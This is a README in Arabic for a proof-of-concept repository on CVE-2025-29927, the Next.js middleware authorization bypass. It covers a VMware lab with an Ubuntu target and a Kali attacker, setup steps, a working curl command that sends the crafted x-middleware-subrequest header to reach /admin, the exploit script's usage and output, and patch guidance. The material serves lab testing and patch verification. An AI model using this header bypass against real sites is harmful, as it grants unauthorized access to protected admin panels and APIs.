
إثبات مفهوم لاستغلال CVE-2025-29927، وهو تجاوز لتفويض البرمجيات الوسيطة في Next.js. يتضمن مختبرًا مستهدفًا قابلًا للاختراق ونصًا برمجيًا بلغة Python للتحقق من التجاوز عن طريق إرسال ترويسات x-middleware-subrequest مصممة خصيصًا.
مشروع GitHub صغير للتحقق من CVE-2025-29927 (تجاوز تفويض Middleware في Next.js) عبر مختبر تفويض محلي (VMware: جهاز Ubuntu كهدف + جهاز Kali كمهاجم).
⚠️ إخلاء مسؤولية: هذا المشروع مخصص فقط للتعليم الأمني، ومسابقات CTF، وبيئات المختبر التي تمتلكها أو لديك تفويض صريح لها. يُحظر تمامًا استخدامه ضد أي أنظمة غير مصرح بها. يتحمل المستخدم كامل المسؤولية عن أي عواقب ناتجة عن إساءة استخدام هذا المشروع.
| البند | المحتوى |
|---|---|
| CVE | CVE-2025-29927 |
| تاريخ الإفصاح | 2025-03-25 (النشرة الأمنية الرسمية من Next.js) |
| المكوّن المتأثر | Vercel Next.js (إطار عمل JavaScript كامل Stack) |
| نوع الثغرة | تجاوز تفويض / Authorization غير صحيح (CWE-863) |
| الإصدارات المتأثرة | < 12.3.5، < 13.5.9، < 14.2.25، < 15.2.3 |
| الإصدارات المُصلحة | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 وما فوق |
| مستوى الخطورة | حرجة / عالية (الدرجة الدقيقة حسب صفحة NVD) |
بعد ظهور الثغرة، تم تجاوز عدد كبير من لوحات الإدارة، وواجهات الدفع، وواجهات برمجية داخلية في بيئات الإنتاج. أدرج كل من Metasploit و ProjectDiscovery Nuclei وحدات كشف لهذه الثغرة، وتُعتبر واحدة من أكثر ثغرات «تجاوز التفويض على مستوى الإطار» تمثيلًا في عام 2025.
يسمح Next.js بكتابة «منطق المصادقة» داخل middleware (الوسيط)، على سبيل المثال:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // غير مسجل دخول → اعتراض
return NextResponse.next();
}
المشكلة أن Next.js داخليًا يعتمد على ترويسة طلب يمكن للعميل تزويرها لتحديد ما إذا كان «هذا الطلب قد نُفّذ عبر الـ middleware بالفعل»:
x-middleware-subrequest: middleware
في الإصدارات المتأثرة، إذا حمل الطلب الخارجي هذا الترويسة الداخلية، يظن Next.js أن الـ middleware قد نُفّذ بالفعل، وبالتالي يتم تخطي كامل middleware المصادقة. لا يحتاج المهاجم إلى أي حساب، فقط يضيف هذه الترويسة ويصل مباشرة إلى /admin أو أي مسار محمي ويحصل على استجابة 200 — بينما تثق الصفحة نفسها عادةً بالـ middleware ولا تقوم بتحقق ثانٍ، وبالتالي يفشل فحص التفويض (خطأ في حدود الثقة).
💡 القيمة الأكثر شيوعًا في الاستغلالات العلنية هي تكرار مسار الـ middleware بشكل متسلسل، مثل:
middleware:middleware:middleware:middleware:middleware؛ القيمة المفردةmiddlewareقد لا تعمل في بعض الإصدارات/هياكل الدلائل (وهذا ما تم اختباره فعليًا على الإصدار 14.2.24 في هذا المختبر). يقوم هذا الـ PoC بتجربة قيم مرشحة متعددة، وأي واحدة تنجح تعني نجاح التجاوز.
CVE-2025-29927-PoC/
├── README.md # هذا المستند (شرح الثغرة + دليل مختبر VMware)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ PoC للتحقق بلغة Python3 باستخدام المكتبة القياسية فقط (يعمل على Kali/أي جهاز)
├── target/ # ★ مختبر الثغرة المُنشأ ذاتيًا (انسخه إلى جهاز Ubuntu الهدف)
│ ├── package.json # يثبّت [email protected] (إصدار متأثر)
│ ├── middleware.js # يحاكي «middleware مصادقة» حقيقي في بيئة الإنتاج
│ ├── pages/
│ │ ├── index.js # الصفحة الرئيسية
│ │ ├── login.js # صفحة تسجيل الدخول (يُعاد التوجيه إليها للعرض)
│ │ └── admin.js # ★ لوحة إدارة محمية، يقرأ flag.txt من الخادم
│ ├── flag.txt # علم المختبر: FLAG{...}
│ ├── setup.sh # تثبيت Node 20 + npm install + build بضغطة واحدة على الجهاز الهدف
│ └── start.sh # الاستماع على 0.0.0.0:3000 في وضع الإنتاج
└── tests/
└── mock_target.py # جهاز هدف محاكى بدون Node (لاختبار التطوير الذاتي فقط)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17 (المضيف: Windows) │
│ الشبكة: NAT (VMnet8 الافتراضي)، الجهازان في نفس الشبكة الفرعية ويمكنهما ping بعضهما │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ الهدف Ubuntu 24.04 │ │ المهاجم Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
| الغرض | الصورة/البرنامج | الإصدار المقترح |
|---|---|---|
| برنامج الأجهزة الافتراضية | VMware Workstation Pro 17 (مجاني للاستخدام الشخصي) | 17.x |
| صورة الجهاز الهدف | Ubuntu Server LTS ISO | 24.04.x |
| جهاز الهجوم | Kali Linux (صورة VMware الرسمية الجاهزة أو تثبيت ISO) | 2025.x |
| (اختياري) | ذاكرة 8 GB أو أكثر على المضيف، وقرص 50 GB أو أكثر | — |
نفّذ جميع الخطوات التالية على جهاز Ubuntu الهدف.
# الطريقة أ: ادفع المشروع إلى GitHub الخاص بك ثم استنسخه (موصى به، استخدم هذا إذا كنت ستشاركه على GitHub لاحقًا)
git clone https://github.com/<اسم_المستخدم_خاصتك>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# الطريقة ب: انسخه من المضيف باستخدام scp
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # تثبيت Node 20(LTS) + npm install + next build
ما يفعله setup.sh داخليًا: تحديث apt ← تثبيت أدوات curl/CA/build ← تثبيت Node.js 20 LTS عبر NodeSource ← npm install (سحب تبعيات مثل [email protected]) ← npm run build.
bash start.sh
# عند رؤية "▲ Next.js 14.2.24" و "Local: http://0.0.0.0:3000" فهذا يعني النجاح
افتح طرفية أخرى وقم باختبار دخاني محلي أولاً:
curl -s http://127.0.0.1:3000 # الصفحة الرئيسية، 200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# الناتج المتوقع 307 —— بدون cookie يتم اعتراضه بواسطة middleware (المصادقة تعمل بشكل طبيعي)
curl -s http://127.0.0.1:3000/admin # لاحظ أن body يجب أن يكون محتوى صفحة تسجيل الدخول بعد إعادة التوجيه
جدار الحماية على الجهاز الهدف لا يعترض الاتصالات الواردة افتراضيًا؛ إذا فعّلت ufw:
sudo ufw allow 3000/tcp.
sudo apt update
python3 --version # Kali يأتي مع Python3، لا حاجة لتبعيات إضافية (PoC يستخدم المكتبة القياسية فقط)
ip -4 addr show # سجّل عنوان IP الخاص بـ Kali (مثل 192.168.x.xxx)
انقل exploit.py إلى Kali (استنسخ نفس المستودع، أو انسخ الملف الواحد عبر scp)، ثم تأكد أولاً من اتصال الجهازين الافتراضيين:
ping <TARGET_IP> # إذا نجح ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # يجب أن يطبع 200
نفّذ على جهاز Kali المهاجم:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] الاستكشاف الأساسي GET /admin (بدون أي ترويسات خاصة)
└─ رمز الحالة 307 —— تم اعتراضه بشكل طبيعي بواسطة middleware ✓ (بيئة الثغرة جاهزة)
[2/3] محاولة التجاوز x-middleware-subrequest: <استطلاع القيم المرشحة>
└─ قيمة الترويسة='middleware:middleware:middleware:middleware:middleware' رمز الحالة 200 —— نجاح التجاوز! تم تخطي middleware ✓
[3/3] استخراج النتيجة
└─ قرأت صفحة الإدارة flag.txt من الخادم:
FLAG{cve-2025-29927-lab-ok}
[+] الخلاصة: VULNERABLE —— تم التحقق من تجاوز تفويض CVE-2025-29927
القراءة الأساسية: نفس عنوان URL، بدون الترويسة الخاصة يتم اعتراضه برمز 307، ومع x-middleware-subrequest يصل مباشرة إلى الإدارة برمز 200 — حلقة تحقق كاملة من «تجاوز middleware المصادقة».
# ① الأساس: يجب أن يُرجع 307 (إعادة توجيه إلى /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② الاستغلال: يجب أن يُرجع 200 ويتضمن FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 ملاحظة من الاختبار الفعلي: في هذا المختبر (Next 14.2.24 +
middleware.jsفي الدليل الجذر)، تعمل القيمة المكررة 5 مراتmiddleware:middleware:middleware:middleware:middleware، بينما القيمة المفردةmiddlewareلا تعمل. عند الاختبار اليدوي بـ curl استخدم القيمة المكررة 5 مرات أعلاه مباشرة؛ إذا لم تكن متأكدًا، شغّلexploit.py(الذي يستطلع القيم المرشحة تلقائيًا).
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL عنوان الهدف، مثل http://192.168.162.10:3000
--path PATH المسار المحمي، الافتراضي /admin
--timeout SECONDS مهلة الطلب الواحد، الافتراضي 10
--delay SECONDS الفاصل الزمني بين استطلاع قيم الترويسات المرشحة، الافتراضي 0
--insecure تخطي التحقق من شهادة HTTPS
--verbose طباعة رمز استجابة كل ترويسة مرشحة، لتسهيل التصحيح
رمز الخروج: 0 = تم التحقق من وجود الثغرة؛ 1 = الهدف غير متأثر/فشلت جميع الطلبات؛ 2 = خطأ في المعاملات أو البيئة
إذا لم يتوفر لديك VMware أو لا تريد تثبيت Node أولاً، يمكنك استخدام الجهاز الهدف المحاكى المرفق في المستودع لتشغيل منطق الـ PoC أولاً (يكفي وجود Python3 على المضيف، يحاكي سلوك «اعتراض 307 / استجابة 200 مع الترويسة الخاصة»):
# الطرفية 1: تشغيل الجهاز الهدف المحاكى (يستمع على 127.0.0.1:8123)
python3 tests/mock_target.py
# الطرفية 2: التحقق
python3 exploit.py -u http://127.0.0.1:8123
# الناتج المتوقع أيضًا VULNERABLE و FLAG{mock-bypass-ok}
ملاحظة: المحاكي مخصص فقط لاختبار منطق السكربت ذاتيًا؛ يجب إجراء التحقق الرسمي على المختبر الحقيقي في القسمين 5 و6.
npm i [email protected] (أو 15.2.3+ / الإصدارات الأحدث المقابلة)، ثم أعد البناء والنشر؛getServerSideProps / Route Handler / واجهات API الخلفية؛x-middleware-subrequest الواردة في طبقة الوكيل العكسي/CDN/WAF.# قالب Nuclei الرسمي
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
بعد الترقية، أعد تشغيل هذا الـ PoC، يجب أن يطبع «الهدف غير متأثر» — هذه هي طريقة القبول للمقارنة قبل وبعد الإصلاح.
| الظاهرة | السبب / الحل |
|---|---|
next start يخبر أن المنفذ مشغول | استخدم lsof -i :3000 للعثور على العملية المشغلة، أو غيّر إلى -p 3001 |
curl http://<TARGET_IP>:3000 لا يعمل | الجهازان الافتراضيان ليسا في نفس شبكة NAT الفرعية؛ تحقق من أن محولي الشبكة في VMware كلاهما NAT، وأكد الشبكة الفرعية بـ ip a |
الوصول إلى /admin يعطي 200 في الأساس | الـ middleware لم يعمل: تأكد من أن middleware.js موجود في الدليل الجذر لـ target/ وأن setup.sh نجح في البناء |
| بعد محاولة التجاوز ما زال 307 | القيم الفعالة تختلف حسب الإصدار/هيكل الدليل: شغّل أولاً python3 exploit.py --verbose لرؤية نتائج الاستطلاع؛ للاختبار اليدوي بـ curl استخدم القيمة المكررة 5 مرات middleware:middleware:middleware:middleware:middleware |
| Kali لا يستطيع ping إلى Ubuntu | في VMware NAT يكون الاتصال متاحًا افتراضيًا؛ إذا استمرت المشكلة تحقق من جدران الحماية على الجهازين وأعد اللقطة |
| تريد التحقق من إصدار Next آخر | غيّر إصدار next في target/package.json ثم أعد تشغيل npm install && npm run build |